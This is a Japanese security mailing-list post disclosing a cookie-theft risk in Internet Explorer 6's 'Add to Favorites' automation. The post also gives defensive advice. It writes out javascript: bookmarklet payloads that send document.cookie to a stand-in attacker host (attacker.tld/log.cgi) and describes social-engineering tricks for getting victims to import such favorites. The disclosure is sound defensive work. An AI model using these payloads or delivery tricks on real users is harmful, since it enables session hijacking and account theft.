[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[stalk:01460] IE6 における「お気に入りに追加」の自動化における課題



今泉と申します。お世話になっております。

■IE6 における「お気に入りに追加」の自動化における課題■

WEB サイトを散策していますと、アクセス数 UP の為か、色々な工夫
に出会います。それらの工夫のひとつとして、 IE を対象として「お
気に入りへ追加」をワンクリックで行えるようにし、ユーザの再訪問
を促すというものがあります。具体的な事例はあげませんが、皆様も
みかけたことがあるのではないでしょうか。

これらの「お気に入りへ追加」の自動化が、場合により訪問者に被害
を与えうるケースがあるのではないかと思い、以下、ご報告いたしま
す。

【1】主題

 IE における「お気に入りに追加」の自動化にはクロスサイトスクリ
プティング脆弱性がひそんでいる可能性があります。攻撃者が社会工
学的なテクニックを併用し、悪意あるスクリプトを含んだ「お気に入
り」を被害者のブラウザ( IE )に追加させる可能性があります。そ
の結果、サーバサイドでクロスサイトスクリプティング脆弱性を含ま
ない、本来なら安全なはずのサイトから被害者に提供される cookie
を攻撃者は盗み出すことが可能です。また、 cookie を盗み出される
対象のサイトに関する記述を、悪意ある「お気に入り」は含まず、被
害者が訪問する任意のサイトの cookie が連続的に盗まれうります。

今回は IE の「お気に入り」に関する報告ですが、本質的には、メジ
ャーなブラウザの全てに同様の危険性がないとはいえません。筆者は
不幸なことに IE 以外のブラウザに関しては調査能力がありません。
皆様のご調査をお願いしたいと存じます。 IE に関しましてかなり踏
みこんだご報告をさせて頂きますので、比較検討していただければ幸
いです。


【2】対策

一般ユーザ :
  他人が作ったお気に入りを信用して IE に追加してはいけない。

サーバサイド:
  公共の福祉をはかるため、お気に入りの自動化によるサービスの
  提供を、出来ればとりやめて頂きたい。


【3】攻撃手段の特徴

通常、クロスサイトスクリプティング脆弱性を狙った攻撃においては
サイトAに悪意あるアンカー(リンク)を仕込みサイトBをターゲッ
トとするものが圧倒的に多いかと思われます。サイトAからサイトB
に「ジャンプ」するならば、サイトBがターゲットです。サイトBに
なんらかのクロスサイトスクリプティング脆弱性があることが、この
ような攻撃が成立するための条件となります。

これから提示する攻撃手段は、サイトAからサイトBにジャンプする
ときに、サイトAがターゲットとなります。このときサイトAには、
クロスサイトスクリプティング脆弱性があってもなくても成立してし
まいます。また、サイトBは、攻撃者の用意したサイトでなく善意の
第三者であってもかまいません。被害者のユーザは、任意のサイトを
訪問中に被害にあう可能性があります。言いかえれば、サイトAは、
不特定多数のサイトです。特定の脆弱性をもったサイトを狙うもので
はありませんので、通常の XSS 攻撃とはかなり異なってきます。

これらの特徴から、被害者は連続的にさまざまなサイトの cookie を
連続的に盗まれてしまいかねません。


【4】攻撃者の準備(1)

攻撃者は、既に社会的に認知され信頼されている便利なリンク集をみ
つくろっておきます。ここでは、サイトLと呼ぶことにします。金融
機関が多数掲載されているリンク集で、視聴率が高いものを攻撃者は
用意するかもしれません。この意味を込めてサイトLの URL を以下
のように記述することにします。

http://l.tld/link/banks.html

今、このリンク集には、サイトAからはじまってサイトJまで10個
の金融機関へのリンクがあるものとしましょう。

次に、攻撃者は、悪意ある「お気に入り」を作成します。この「お気
に入りは、サイトLへジャンプする機能を持っています。しかし同時
にジャンプする前に訪問していたサイトの cookie を攻撃者のサーバ
へ転送してしまいます。被害者は、何回かサイトLを通じて、サイト
AからサイトJまでの10個のサイトを訪問するかもしれません。サ
イトAでのオンライン取引後、悪意ある「お気に入り」を使用して、
サイトLに戻ります。次にサイトBを訪問し、悪意ある「お気に入り」
でサイトLに戻ります。こうしているうちに、ことごとく cookie を
盗まれてしまします。留意して頂きたいことは、サイトAからサイト
Jまでには XSS 脆弱性がなくとも成立してしまう点です。

悪意ある「お気に入り」の作成の手段の本質は、 javascript スキー
ムの利用にあります。単純に、サイトLに飛ぶようにするならば以下
のようなスクリプトが考えられます。

javascript:function%20xsstest(){location.replace('http://
l.tld/link/banks.html');};xsstest();

複数行に分かちましたが上記は実際には改行をふくまない一行です。
以下同様とします。

ブラウザ( IE )のアドレス表示/入力欄に、上記のスクリプトを入力
してエンターキーを押せば、サイトLの画面に移行することがわかり
ます。

さて、アドレス表示/入力欄に、javascript:スキームで何かのスクリ
プトを記述した時には、そのスクリプトは、現在表示されているサイ
トのドメインで動作していることを想起しておきましょう。この為、
攻撃者は、上記のスクリプトを以下のように改造することでしょう。

javascript:function%20xsstest(){(new%20Image(1,1)).src='http:
//attacker.tld/log.cgi?'+document.cookie;location.replace('ht
tp://l.tld/link/banks.html');};xsstest();

現在表示されているサイトの画面のページに働きかけ、 Image オブ
ジェクトを生成し、そのソースとして攻撃者のサイトの cookie 記録
用の CGI を指定するものです。この CGI のクエリーには、 cookie
を引き渡すことが可能です。なぜなら、アドレス表示/入力欄からの
実行ですので、表示中の画面のドメインの権限でアクセス出来るから
です。なお、 Image オブジェクトを生成しただけでは、表示画面に
変化は現れません。通常のページでは画像の先読みを行っておくテク
ニックとして利用されています。 onmouseover にて、瞬時にボタン
などの画像が変化することがありますが、先読みしてキャッシュにた
めておくことで実現していることになります。

ひそかに攻撃者のサイトに cookie を送付した後、ただちに、被害者
が期待するサイトへの移行がなされます。


【5】攻撃者の準備(2)

上記のような javascript: スキームによる危険な文字列を、被害者
がそのままアドレス表示/入力欄に入力することは、通常考えられま
せん。しかし、「お気に入りに追加」を自動的にさせしめることでユ
ーザの目からスクリプトの持つ悪意を隠蔽することとなるでしょう。
攻撃者は、「お気に入りに追加」を誘導するページを作成したり、あ
るいは、同等の悪意ある HTML メールをばらまいたりすることで攻撃
することが考えられます。

「お気に入りに追加」を自動的に行う手段を、 javascript に求める
ならば、私の知りえる限りでは、少なくとも2種類あります。ほかに
もあるかもしれません。 vbscript など他の手段でも可能かもしれま
せん。ここでは、 javascript による手段を2種類比較検討すること
を試みたいと思います。

手段1: window.external.AddFavorite()

被害者が、オペレーションを行うと、以下の警告が表示されます。

【 追加しようとしているお気に入りは、安全でない可能性がありま
す。 続行しますか?(はい|いいえ) 】

javascript: スキームでのお気に入りであることから「安全でない」
と判定しているのでしょう。社会工学的技法により、被害者にあらか
じめ、「このように表示されても無視するように」誘導されることが
ありえます。

手段2: window.external.importExportFavorites()

これは、攻撃者が用意したサイトに、 Netscape フォーマットの
 Bookmark のファイルを用意しておき、そこから import するもので
す。このファイル名を仮に bookmark.htm として考えます。また、
 example.com を攻撃者が用意したサイトと考えます。被害者が、オ
ペレーションを行うと、以下の警告が表示されます。

【 [Favorites]フォルダに 'http://example.com/bookmark.htm' を
インポートしますか?(はい|いいえ) 】

javascript: スキームでのお気に入りであるにもかかわらず、「危険
性」を暗示する警告は表示されません。

上にあげた2種類の手段を比較検討しますと、ユーザの自衛策として
は、安全側に倒して考えますと【他人の作成した「お気に入り」は一
切信用まかりならぬ】と言えるでしょう。また、このほかの代替手段
も充分に考えられますので、ユーザはよほど注意しなくてはいけませ
ん。


【6】その他の考察

とりあえず、 Microsoft の IE について考察しました。しかし、こ
のほかのブラウザでも、原理的には攻撃手段があってもおかしくない
ことと思われます。ターゲットサイトが表示中であればアドレス表示
/入力欄に、 javascript: スキームによる悪意あるアドレスを、なん
らかの形で放りこめば攻撃が成立してしまうからです。 調査はして
いませんが、 IE においても、「お気に入り」以外にて同様な攻撃を
行うべく、仕組まれたブラザの機能をインポートさせてしまうことが
ないとは言いきれません。そのほかのメジャーなブラウザにおいても
便利な機能はいっぱいあるかもしれません。

私見ですが、ブラウザの諸機能による、アドレス表示/入力欄への、
 javascript: スキームの実現がなされた際には、表示中の画面のサ
イトへの権限は一切ないか、もしくは、アドレス表示/入力欄では、
 javascript: のみならず、一切の擬似スキームは作動停止ぐらいが
穏当だと思われます。ブラウザは、表示中の画面への権利も持たなけ
れば、ローカルにあるファイルへの権限もない、そのくらいなら全く
役にたたないので、いっそ擬似スキームは禁止、、というわけです。

大概のブラウザのアドレス表示/入力欄で以下のアドレスを入力した
際に、任意のサイトで cookie が盗まれるようでは、安全な WEB 取
引の実現はまだまだ遠い希望だと思われます。

javascript:location.replace('攻撃者のCGI?'+document.cookie)

しかしながら上の私の私見は、ほとんど妄想に近い程、実現不可能で
ありましょう。たとえば、ブックマークやお気に入りでは擬似スキー
ムが与えられた場合には充分な警告を表示することが精一杯かもしれ
ません。


【6】まとめ

「お気に入り」「ブックマーク」等を他人に制御させてはいけない。
このような危険なシロモノがあるので、善良な類似品を、サイト運営
者はサービスしてはならない。危険なものであるという常識が成立す
ることが望ましい。ありとあらゆるサイトが、クロスサイトスクリプ
ティング危険にさらされるのだから。


以上です。


今泉克美
3/15で転職しますので、以下のメールアドレスは使用不可となり
ます。申し訳けありません。

k-imaiz@xxxxxxxxxxxxxxxxx



--
- このメイリングリストに関する質問・問い合せ等は
- <security-talk@xxxxxxxxxx>までお知らせください
--
------------------------------------------------------------------------
         バレンタイン ○のなかには 愛がある!     
   http://www.infoseek.co.jp/Campaign?pg=maru_top.html&svx=971122